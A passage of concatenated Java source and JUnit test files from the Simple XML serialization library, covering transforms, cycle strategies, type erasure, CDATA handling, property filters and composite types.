* an annotation. If the <code>Type</code> represents a field or
* method then the annotation can be taken directly from that
* field or method. If however the type represents a class then
* the class itself must contain the annotation.
*
* @param real the type that represents the field or method
*
* @return this returns the annotation on the field or method
*/
private Convert getConvert(Class real) throws Exception {
Convert convert = getAnnotation(real, Convert.class);
if(convert != null) {
Root root = getAnnotation(real, Root.class);
if(root == null) {
throw new ConvertException("Root annotation required for %s", real);
}
}
return convert;
}
/**
* This is used to acquire the <code>Convert</code> annotation from
* the class provided. If the type does not contain the annotation
* then this scans all supertypes until either an annotation is
* found or there are no further supertypes.
*
* @param type this is the type to scan for annotations
* @param label this is the annotation type that is to be found
*
* @return this returns the annotation if found otherwise null
*/
private <T extends Annotation> T getAnnotation(Class<?> type, Class<T> label) {
return builder.build(type).scan(label);
}
/**
* This is used to acquire the class that should be scanned. The
* type is found either on the method or field, or should there
* be a subtype then the class is taken from the provided value.
*
* @param type this is the type representing the field or method
* @param value this contains the type if it was overridden
*
* @return this returns the class that has been scanned
*/
private Class getType(Type type, Value value) {
Class real = type.getType();
if(value != null) {
return value.getType();
}
return real;
}
/**
* This is used to acquire the class that should be scanned. The
* type is found either on the method or field, or should there
* be a subtype then the class is taken from the provided value.
*
* @param type this is the type representing the field or method
* @param value this contains the type if it was overridden
*
* @return this returns the class that has been scanned
*/
private Class getType(Type type, Object value) {
Class real = type.getType();
if(value != null) {
return value.getClass();
}
return real;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AbstractEnumTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class AbstractEnumTest extends TestCase {
public void testFoo() throws Exception {
final Serializer serializer = new Persister();
final FooObject fooObject = new FooObject();
fooObject.setFoo(Foo.NAY);
serializer.write(fooObject, new StringWriter());
}
@Root
public static class FooObject {
@Element
private Foo foo;
public FooObject() {
}
public Foo getFoo() {
return foo;
}
public void setFoo(Foo foo) {
this.foo = foo;
}
}
public static enum Foo {
YEA {
public boolean foo() {
return true;
}
},
NAY {
public boolean foo() {
return false;
}
};
public abstract boolean foo();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/DoubleTransform.java<|end_filename|>
/*
* DoubleTransform.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
/**
* The <code>DoubleTransform</code> is used to transform double
* values to and from string representations, which will be inserted
* in the generated XML document as the value place holder. The
* value must be readable and writable in the same format. Fields
* and methods annotated with the XML attribute annotation will use
* this to persist and retrieve the value to and from the XML source.
* <pre>
*
* @Attribute
* private Double value;
*
* </pre>
* As well as the XML attribute values using transforms, fields and
* methods annotated with the XML element annotation will use this.
* Aside from the obvious difference, the element annotation has an
* advantage over the attribute annotation in that it can maintain
* any references using the <code>CycleStrategy</code> object.
*
* @author <NAME>
*/
class DoubleTransform implements Transform<Double> {
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
*
* @return this returns an appropriate instanced to be used
*/
public Double read(String value) {
return Double.valueOf(value);
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param value this is the value to be converted to a string
*
* @return this is the string representation of the given value
*/
public String write(Double value) {
return value.toString();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Timer.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.management.ManagementFactory;
import java.lang.management.ThreadMXBean;
import java.util.concurrent.TimeUnit;
public class Timer {
private static ThreadMXBean BEAN = ManagementFactory.getThreadMXBean();
private TimeUnit unit;
private long startTime;
private boolean started;
private long id;
public Timer() {
this(TimeUnit.MICROSECONDS);
}
public Timer(TimeUnit unit) {
this.id = Thread.currentThread().getId();
this.unit = unit;
}
public void start() {
startTime = System.nanoTime();//BEAN.getThreadUserTime(id);
started = true;
}
public long stop() {
if(!started) {
throw new IllegalStateException("Timer has not started");
}
long nanoSeconds = ( System.nanoTime() - startTime);
return unit.convert(nanoSeconds, TimeUnit.NANOSECONDS);
}
public long stopThenStart(){
long time = stop();
start();
return time;
}
public long stop(String msg){
long time = stop();
System.err.println(msg + " time="+ time+" "+unit);
return time;
}
public long stopThenStart(String msg) {
long time = stop(msg);
start();
return time;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/ArrayCycleTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.ValidationTestCase;
public class ArrayCycleTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<root id='main'>\n"+
" <one length='5' id='numbers'>\n\r"+
" <text value='entry one'/> \n\r"+
" <text value='entry two'/> \n\r"+
" <text value='entry three'/> \n\r"+
" <text value='entry four'/> \n\r"+
" <text value='entry five'/> \n\r"+
" </one>\n\r"+
" <two ref='numbers'/>\n"+
" <three length='3'>\n" +
" <text value='tom'/> \n\r"+
" <text value='dick'/> \n\r"+
" <text value='harry'/> \n\r"+
" </three>\n"+
" <example ref='main'/>\n"+
"</root>";
private static final String NESTED =
"<?xml version=\"1.0\"?>\n"+
"<root id='main'>\n"+
" <array id='array' length='2'>\n" + // NestedExample.array : Value[]
" <entry> \n\r"+
" <list ref='array'/>\n"+ // Value.list : Value[] -> NestedArray.array : Value[]
" </entry>\r\n"+
" <entry id='text'>\n"+
" <list length='3' id='foo'>\n"+ // Value.list : Value[]
" <entry name='blah' class='org.simpleframework.xml.strategy.ArrayCycleTest$TextValue'>\n"+ // Value.list[0] : Value
" <text>Some text</text>\n"+ // TextExample.text : String
" <list ref='foo'/>\n"+ // TextExample.list : Value[]
" </entry>\n"+
" <entry ref='text'/>\n"+ // Value.list[1] : Value
" <entry class='org.simpleframework.xml.strategy.ArrayCycleTest$ElementValue'>\n"+ // Value.list[2] : Value
" <element><![CDATA[Example element text]]></element>\n"+ // ElementExample.element : String
" </entry>\n"+
" </list>\n"+
" </entry> \n\t\n"+
" </array>\n"+
"</root>";
private static final String PROMOTE =
"<value>\n"+
" <list length='1' class='org.simpleframework.xml.strategy.ArrayCycleTest$ElementValue'>\n"+
" <entry class='org.simpleframework.xml.strategy.ArrayCycleTest$ElementValue'>\n"+
" <element>Example text</element>\n"+
" </entry>\n"+
" </list>\n"+
"</value>\n";
@Root(name="root")
private static class ArrayCycleExample {
@ElementArray(name="one", entry="entry")
public Entry[] one;
@ElementArray(name="two", entry="entry")
public Entry[] two;
@ElementArray(name="three", entry="entry")
public Entry[] three;
@Element(name="example")
public ArrayCycleExample example;
}
@Root(name="text")
private static class Entry {
@Attribute(name="value")
public String value;
public Entry() {
super();
}
public Entry(String value) {
this.value = value;
}
}
@Root(name="root")
private static class NestedArrayCycleExample {
@ElementArray(name="array", entry="entry")
public Value[] array;
}
@Root(name="value")
private static class Value {
@ElementArray(name="list", entry="entry", required=false)
private Value[] list;
}
private static class TextValue extends Value {
@Attribute(name="name")
private String name;
@Element(name="text")
private String text;
}
private static class ElementValue extends Value {
@Element(name="element")
private String element;
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister(new CycleStrategy("id", "ref"));
}
public void testCycle() throws Exception {
ArrayCycleExample example = persister.read(ArrayCycleExample.class, SOURCE);
assertEquals(example.one.length, 5);
assertEquals(example.one[0].value, "entry one");
assertEquals(example.one[1].value, "entry two");
assertEquals(example.one[2].value, "entry three");
assertEquals(example.one[3].value, "entry four");
assertEquals(example.one[4].value, "entry five");
assertEquals(example.two.length, 5);
assertEquals(example.two[0].value, "entry one");
assertEquals(example.two[1].value, "entry two");
assertEquals(example.two[2].value, "entry three");
assertEquals(example.two[3].value, "entry four");
assertEquals(example.two[4].value, "entry five");
assertEquals(example.three.length, 3);
assertEquals(example.three[0].value, "tom");
assertEquals(example.three[1].value, "dick");
assertEquals(example.three[2].value, "harry");
assertTrue(example.one == example.two);
assertTrue(example == example.example);
StringWriter out = new StringWriter();
persister.write(example, out);
example = persister.read(ArrayCycleExample.class, SOURCE);
assertEquals(example.one.length, 5);
assertEquals(example.one[0].value, "entry one");
assertEquals(example.one[1].value, "entry two");
assertEquals(example.one[2].value, "entry three");
assertEquals(example.one[3].value, "entry four");
assertEquals(example.one[4].value, "entry five");
assertEquals(example.two.length, 5);
assertEquals(example.two[0].value, "entry one");
assertEquals(example.two[1].value, "entry two");
assertEquals(example.two[2].value, "entry three");
assertEquals(example.two[3].value, "entry four");
assertEquals(example.two[4].value, "entry five");
assertEquals(example.three.length, 3);
assertEquals(example.three[0].value, "tom");
assertEquals(example.three[1].value, "dick");
assertEquals(example.three[2].value, "harry");
assertTrue(example.one == example.two);
assertTrue(example == example.example);
validate(example, persister);
}
public void testNestedExample() throws Exception {
NestedArrayCycleExample root = persister.read(NestedArrayCycleExample.class, NESTED);
assertEquals(root.array.length, 2);
assertTrue(root.array[0].list == root.array);
assertTrue(root.array[1].list[0] instanceof TextValue);
assertTrue(root.array[1].list == root.array[1].list[0].list);
assertTrue(root.array[1] == root.array[1].list[1]);
assertTrue(root.array[1].list == root.array[1].list[0].list);
assertTrue(root.array[1].list[2] instanceof ElementValue);
ElementValue element = (ElementValue) root.array[1].list[2];
TextValue text = (TextValue) root.array[1].list[0];
assertEquals(element.element, "Example element text");
assertEquals(text.name, "blah");
assertEquals(text.text, "Some text");
validate(root, persister);
StringWriter out = new StringWriter();
persister.write(root, out);
// Ensure references survive serialization
root = persister.read(NestedArrayCycleExample.class, out.toString());
assertEquals(root.array.length, 2);
assertTrue(root.array[0].list == root.array);
assertTrue(root.array[1].list[0] instanceof TextValue);
assertTrue(root.array[1].list == root.array[1].list[0].list);
assertTrue(root.array[1] == root.array[1].list[1]);
assertTrue(root.array[1].list == root.array[1].list[0].list);
assertTrue(root.array[1].list[2] instanceof ElementValue);
element = (ElementValue) root.array[1].list[2];
text = (TextValue) root.array[1].list[0];
assertEquals(element.element, "Example element text");
assertEquals(text.name, "blah");
assertEquals(text.text, "Some text");
}
public void testPromotion() throws Exception {
Value example = persister.read(Value.class, PROMOTE);
assertEquals(example.list.length, 1);
assertTrue(example.list instanceof ElementValue[]);
ElementValue value = (ElementValue) example.list[0];
assertEquals(value.element, "Example text");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MethodContactTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Contact;
import org.simpleframework.xml.core.ContactList;
import org.simpleframework.xml.core.MethodScanner;
import junit.framework.TestCase;
public class MethodContactTest extends TestCase {
@Root(name="name")
public static class Example {
private Collection<Entry> list;
private float version;
private String name;
@ElementList(name="list", type=Entry.class)
public void setList(Collection<Entry> list) {
this.list = list;
}
@ElementList(name="list", type=Entry.class)
public Collection<Entry> getList() {
return list;
}
@Element(name="version")
public void setVersion(float version) {
this.version = version;
}
@Element(name="version")
public float getVersion() {
return version;
}
@Attribute(name="name")
public void setName(String name) {
this.name = name;
}
@Attribute(name="name")
public String getName() {
return name;
}
}
@Root(name="entry")
public static class Entry {
@Attribute(name="text")
public String text;
}
public void testContact() throws Exception {
MethodScanner scanner = new MethodScanner(new DetailScanner(Example.class), new Support());
ArrayList<Class> types = new ArrayList<Class>();
for(Contact contact : scanner) {
types.add(contact.getType());
}
assertEquals(scanner.size(), 3);
assertTrue(types.contains(String.class));
assertTrue(types.contains(float.class));
assertTrue(types.contains(Collection.class));
ContactList contacts = scanner;
Contact version = getContact(float.class, contacts);
Example example = new Example();
version.set(example, 1.2f);
assertEquals(example.version, 1.2f);
assertNull(example.name);
assertNull(example.list);
Contact name = getContact(String.class, contacts);
name.set(example, "name");
assertEquals(example.version, 1.2f);
assertEquals(example.name, "name");
assertNull(example.list);
Contact list = getContact(Collection.class, contacts);
list.set(example, types);
assertEquals(example.version, 1.2f);
assertEquals(example.name, "name");
assertEquals(example.list, types);
}
public Contact getContact(Class type, ContactList from) {
for(Contact contact : from) {
if(type == contact.getType()) {
return contact;
}
}
return null;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/TimestampTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.sql.Timestamp;
import java.util.Date;
import junit.framework.TestCase;
import org.simpleframework.xml.transform.DateTransform;
public class TimestampTransformTest extends TestCase {
public void testTimestamp() throws Exception {
long now = System.currentTimeMillis();
Timestamp date = new Timestamp(now);
DateTransform format = new DateTransform(Timestamp.class);
String value = format.write(date);
Date copy = format.read(value);
assertEquals(date, copy);
assertEquals(copy.getTime(), now);
assertTrue(copy instanceof Timestamp);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ErasureHandlingTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.ClassToNamespaceVisitor;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.Visitor;
import org.simpleframework.xml.strategy.VisitorStrategy;
public class ErasureHandlingTest extends ValidationTestCase {
@Root
@Default
private static class ErasureExample<T> {
private Map<String, T> list = new LinkedHashMap<String, T>();
private Map<T, T> doubleGeneric = new LinkedHashMap<T, T>();
public void addItem(String key, T item) {
list.put(key, item);
}
public T getItem(String key){
return list.get(key);
}
public void addDoubleGeneric(T key, T item) {
doubleGeneric.put(key, item);
}
}
@Root
@Default
private static class ErasureItem {
private final String name;
private final String value;
public ErasureItem(@Element(name="name") String name, @Element(name="value") String value) {
this.name = name;
this.value = value;
}
}
@Root
private static class ErasureWithMapAttributeIllegalExample<T> {
@ElementMap(attribute=true)
private Map<T, String> erasedToString = new HashMap<T, String>();
public void addItem(T key, String value){
erasedToString.put(key, value);
}
}
@Root
private static class ErasureWithMapInlineValueIsIgnoredExample<T> {
@ElementMap(attribute=true, inline=true, value="value", key="key")
private Map<String, T> erasedToString = new LinkedHashMap<String, T>();
public void addItem(String key, T value){
erasedToString.put(key, value);
}
public T getItem(String key) {
return erasedToString.get(key);
}
}
private static enum ErasureEnum {
A, B, C, D
}
public void testErasure() throws Exception {
Visitor visitor = new ClassToNamespaceVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
ErasureExample<ErasureItem> example = new ErasureExample<ErasureItem>();
StringWriter writer = new StringWriter();
example.addItem("a", new ErasureItem("A", "1"));
example.addItem("b", new ErasureItem("B", "2"));
example.addItem("c", new ErasureItem("C", "3"));
example.addDoubleGeneric(new ErasureItem("1", "1"), new ErasureItem("A", "1"));
example.addDoubleGeneric(new ErasureItem("2", "2"), new ErasureItem("B", "2"));
example.addDoubleGeneric(new ErasureItem("3", "3"), new ErasureItem("C", "3"));
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
ErasureExample<ErasureItem> exampleCopy = persister.read(ErasureExample.class, text);
assertEquals(exampleCopy.getItem("a").name, "A");
assertEquals(exampleCopy.getItem("b").name, "B");
assertEquals(exampleCopy.getItem("c").name, "C");
validate(example, persister);
}
public void testPrimitiveErasure() throws Exception {
Visitor visitor = new ClassToNamespaceVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
ErasureExample<Double> example = new ErasureExample<Double>();
example.addItem("a", 2.0);
example.addItem("b", 1.2);
example.addItem("c", 5.4);
example.addDoubleGeneric(7.8, 8.7);
example.addDoubleGeneric(1.2, 2.1);
example.addDoubleGeneric(3.1, 1.3);
persister.write(example, System.out);
validate(example, persister);
}
public void testEnumErasure() throws Exception {
Visitor visitor = new ClassToNamespaceVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
ErasureExample<ErasureEnum> example = new ErasureExample<ErasureEnum>();
example.addItem("a", ErasureEnum.A);
example.addItem("b", ErasureEnum.B);
example.addItem("c", ErasureEnum.C);
example.addDoubleGeneric(ErasureEnum.A, ErasureEnum.B);
example.addDoubleGeneric(ErasureEnum.B, ErasureEnum.C);
example.addDoubleGeneric(ErasureEnum.C, ErasureEnum.D);
persister.write(example, System.out);
validate(example, persister);
}
public void testErasureWithMapAttributeIllegalExample() throws Exception {
Visitor visitor = new ClassToNamespaceVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
ErasureWithMapAttributeIllegalExample<ErasureEnum> example = new ErasureWithMapAttributeIllegalExample<ErasureEnum>();
boolean failure = false;
example.addItem(ErasureEnum.A, "a");
example.addItem(ErasureEnum.B, "b");
example.addItem(ErasureEnum.C, "c");
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Attribute should not be possible with an erased key", failure);
}
public void testErasureWithMapInlineValueIsIgnoredExample() throws Exception {
Persister persister = new Persister();
ErasureWithMapInlineValueIsIgnoredExample<ErasureItem> example = new ErasureWithMapInlineValueIsIgnoredExample<ErasureItem>();
StringWriter writer = new StringWriter();
example.addItem("a", new ErasureItem("A", "1"));
example.addItem("b", new ErasureItem("B", "2"));
example.addItem("c", new ErasureItem("C", "3"));
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[1]", "key", "a");
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[2]", "key", "b");
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[3]", "key", "c");
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[1]/value", "class", ErasureItem.class.getName());
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[2]/value", "class", ErasureItem.class.getName());
assertElementHasAttribute(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[3]/value", "class", ErasureItem.class.getName());
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[1]/value/name", "A");
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[2]/value/name", "B");
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[3]/value/name", "C");
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[1]/value/value", "1");
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[2]/value/value", "2");
assertElementHasValue(text, "/erasureWithMapInlineValueIsIgnoredExample/entry[3]/value/value", "3");
System.out.println(text);
ErasureWithMapInlineValueIsIgnoredExample<ErasureItem> exampleCopy = persister.read(ErasureWithMapInlineValueIsIgnoredExample.class, text);
assertEquals(exampleCopy.getItem("a").name, "A");
assertEquals(exampleCopy.getItem("b").name, "B");
assertEquals(exampleCopy.getItem("c").name, "C");
assertEquals(exampleCopy.getItem("a").value, "1");
assertEquals(exampleCopy.getItem("b").value, "2");
assertEquals(exampleCopy.getItem("c").value, "3");
validate(exampleCopy, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DataTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.util.Dictionary;
import org.simpleframework.xml.util.Entry;
public class DataTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version='1.0' encoding='UTF-8'?>\n"+
"<scrape section='one' address='http://localhost:9090/'>\n"+
" <query-list>\n"+
" <query name='title' type='text'>\n"+
" <data>\n"+
" <![CDATA[ \n"+
" <title> \n"+
" { \n"+
" for $text in .//TITLE\n"+
" return $text\n"+
" }\n"+
" </title>\n"+
" ]]>\n"+
" </data>\n"+
" </query>\n"+
" <query name='news' type='image'>\n"+
" <data>\n"+
" <![CDATA[ \n"+
" <news>\n"+
" { \n"+
" for $text in .//B\n"+
" return $text\n"+
" }\n"+
" </news>\n"+
" ]]>\n"+
" </data>\n"+
" </query> \n"+
" </query-list> \n"+
"</scrape>";
@Root(name="scrape")
private static class Scrape {
@Attribute(name="section")
private String section;
@Attribute(name="address")
private String address;
@ElementList(name="query-list", type=Query.class)
private Dictionary<Query> list;
}
@Root(name="query")
private static class Query implements Entry {
@Attribute(name="type")
private String type;
@Element(name="data", data=true)
private String data;
@Attribute
private String name;
public String getName() {
return name;
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testData() throws Exception {
Scrape scrape = serializer.read(Scrape.class, SOURCE);
assertEquals(scrape.section, "one");
assertEquals(scrape.address, "http://localhost:9090/");
assertEquals(scrape.list.get("title").type, "text");
assertTrue(scrape.list.get("title").data.indexOf("<title>") > 0);
assertEquals(scrape.list.get("news").type, "image");
assertTrue(scrape.list.get("news").data.indexOf("<news>") > 0);
validate(scrape, serializer);
String news = scrape.list.get("news").data;
String title = scrape.list.get("title").data;
StringWriter out = new StringWriter();
serializer.write(scrape, out);
String text = out.toString();
Scrape copy = serializer.read(Scrape.class, text);
assertEquals(news, copy.list.get("news").data);
assertEquals(title, copy.list.get("title").data);
}
public void testDataFromByteStream() throws Exception {
byte[] data = SOURCE.getBytes("UTF-8");
InputStream source = new ByteArrayInputStream(data);
Scrape scrape = serializer.read(Scrape.class, source);
assertEquals(scrape.section, "one");
assertEquals(scrape.address, "http://localhost:9090/");
assertEquals(scrape.list.get("title").type, "text");
assertTrue(scrape.list.get("title").data.indexOf("<title>") > 0);
assertEquals(scrape.list.get("news").type, "image");
assertTrue(scrape.list.get("news").data.indexOf("<news>") > 0);
validate(scrape, serializer);
String news = scrape.list.get("news").data;
String title = scrape.list.get("title").data;
StringWriter out = new StringWriter();
serializer.write(scrape, out);
String text = out.toString();
Scrape copy = serializer.read(Scrape.class, text);
assertEquals(news, copy.list.get("news").data);
assertEquals(title, copy.list.get("title").data);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathTextTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Style;
public class PathTextTest extends TestCase {
@Root
public static class TextExample {
@Path("path[1]/details")
@Text
private final String a;
@Path("path[2]/details")
@Text
private final String b;
public TextExample(
@Path("path[1]/details") @Text String x,
@Path("path[2]/details") @Text String z) {
this.a = x;
this.b = z;
}
}
public void testStyleDup() throws Exception {
Style style = new CamelCaseStyle();
Format format = new Format(style);
TextExample example = new TextExample("a", "b");
Persister persister = new Persister(format);
StringWriter writer = new StringWriter();
persister.write(example, writer);
System.out.println(writer);
TextExample restored = persister.read(TextExample.class, writer.toString());
assertEquals(example.a, restored.a);
assertEquals(example.b, restored.b);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EmptyExpressionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.Format;
public class EmptyExpressionTest extends TestCase {
public void testEmptyPath() throws Exception {
Format format = new Format();
Type type = new ClassType(EmptyExpressionTest.class);
Expression path = new PathParser(".", type, format);
Expression empty = new EmptyExpression(format);
assertEquals(path.isEmpty(), empty.isEmpty());
assertEquals(path.isAttribute(), empty.isAttribute());
assertEquals(path.isPath(), empty.isPath());
assertEquals(path.getAttribute("a"), empty.getAttribute("a"));
assertEquals(path.getElement("a"), empty.getElement("a"));
assertEquals(path.getPath(), empty.getPath());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/FilterTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import java.util.HashMap;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.filter.EnvironmentFilter;
import org.simpleframework.xml.filter.Filter;
import org.simpleframework.xml.filter.SystemFilter;
import junit.framework.TestCase;
public class FilterTest extends TestCase {
private static final String ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <name>${example.name}</name> \n\r"+
" <path>${example.path}</path>\n"+
" <constant>${no.override}</constant>\n"+
" <text>\n"+
" Some example text where ${example.name} is replaced"+
" with the system property value and the path is "+
" replaced with the path ${example.path}"+
" </text>\n"+
"</root>";
@Root(name="root")
private static class Entry {
@Attribute(name="number")
private int number;
@Attribute(name="flag")
private boolean bool;
@Element(name="constant")
private String constant;
@Element(name="name")
private String name;
@Element(name="path")
private String path;
@Element(name="text")
private String text;
}
static {
System.setProperty("example.name", "some name");
System.setProperty("example.path", "/some/path");
System.setProperty("no.override", "some constant");
}
private Persister systemSerializer;
private Persister mapSerializer;
public void setUp() {
HashMap map = new HashMap();
map.put("example.name", "override name");
map.put("example.path", "/some/override/path");
systemSerializer = new Persister();
mapSerializer = new Persister(map);
}
public void testSystem() throws Exception {
Entry entry = systemSerializer.read(Entry.class, new StringReader(ENTRY));
assertEquals(entry.number, 1234);
assertEquals(entry.bool, true);
assertEquals(entry.name, "some name");
assertEquals(entry.path, "/some/path");
assertEquals(entry.constant, "some constant");
assertTrue(entry.text.indexOf(entry.name) > 0);
assertTrue(entry.text.indexOf(entry.path) > 0);
}
public void testMap() throws Exception {
Entry entry = mapSerializer.read(Entry.class, new StringReader(ENTRY));
assertEquals(entry.number, 1234);
assertEquals(entry.bool, true);
assertEquals(entry.name, "override name");
assertEquals(entry.path, "/some/override/path");
assertEquals(entry.constant, "some constant");
assertTrue(entry.text.indexOf(entry.name) > 0);
assertTrue(entry.text.indexOf(entry.path) > 0);
}
public void testEnvironmentFilter() throws Exception {
Filter filter = new EnvironmentFilter(null);
Persister persister = new Persister(filter);
Entry entry = persister.read(Entry.class, new StringReader(ENTRY));
assertEquals(entry.number, 1234);
assertEquals(entry.bool, true);
assertEquals(entry.name, "${example.name}");
assertEquals(entry.path, "${example.path}");
Filter systemFilter = new SystemFilter();
Filter environmentFilter = new EnvironmentFilter(systemFilter);
Persister environmentPersister = new Persister(environmentFilter);
Entry secondEntry = environmentPersister.read(Entry.class, new StringReader(ENTRY));
assertEquals(secondEntry.number, 1234);
assertEquals(secondEntry.bool, true);
assertEquals(secondEntry.name, "some name");
assertEquals(secondEntry.path, "/some/path");
assertEquals(secondEntry.constant, "some constant");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompositeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class CompositeTest extends ValidationTestCase {
private static final String SOURCE =
"<compositeObject>" +
" <interfaceEntry name='name.1' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>value.1</interfaceEntry>" +
" <objectEntry name='name.2' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>value.2</objectEntry>" +
" <interfaceList>" +
" <interfaceEntry name='a' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>a</interfaceEntry>" +
" <interfaceEntry name='b' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>b</interfaceEntry>" +
" </interfaceList>" +
" <objectList>" +
" <objectEntry name='a' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>a</objectEntry>" +
" <objectEntry name='b' class='org.simpleframework.xml.core.CompositeTest$CompositeEntry'>b</objectEntry>" +
" </objectList>" +
"</compositeObject>";
private static interface Entry {
public String getName();
public String getValue();
}
@Root
public static class CompositeEntry implements Entry {
@Attribute
private String name;
@Text
private String value;
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
@Root
private static class CompositeObject {
@ElementList
private List<Entry> interfaceList;
@ElementList
private List<Object> objectList;
@Element
private Entry interfaceEntry;
@Element
private Object objectEntry;
public CompositeEntry getInterface() {
return (CompositeEntry) interfaceEntry;
}
public CompositeEntry getObject() {
return (CompositeEntry) objectEntry;
}
public List<Entry> getInterfaceList() {
return interfaceList;
}
public List<Object> getObjectList() {
return objectList;
}
}
public void testComposite() throws Exception {
Persister persister = new Persister();
CompositeObject object = persister.read(CompositeObject.class, SOURCE);
CompositeEntry objectEntry = object.getObject();
CompositeEntry interfaceEntry = object.getInterface();
assertEquals(interfaceEntry.getName(), "name.1");
assertEquals(interfaceEntry.getName(), "name.1");
assertEquals(objectEntry.getName(), "name.2");
assertEquals(objectEntry.getValue(), "value.2");
List<Entry> interfaceList = object.getInterfaceList();
List<Object> objectList = object.getObjectList();
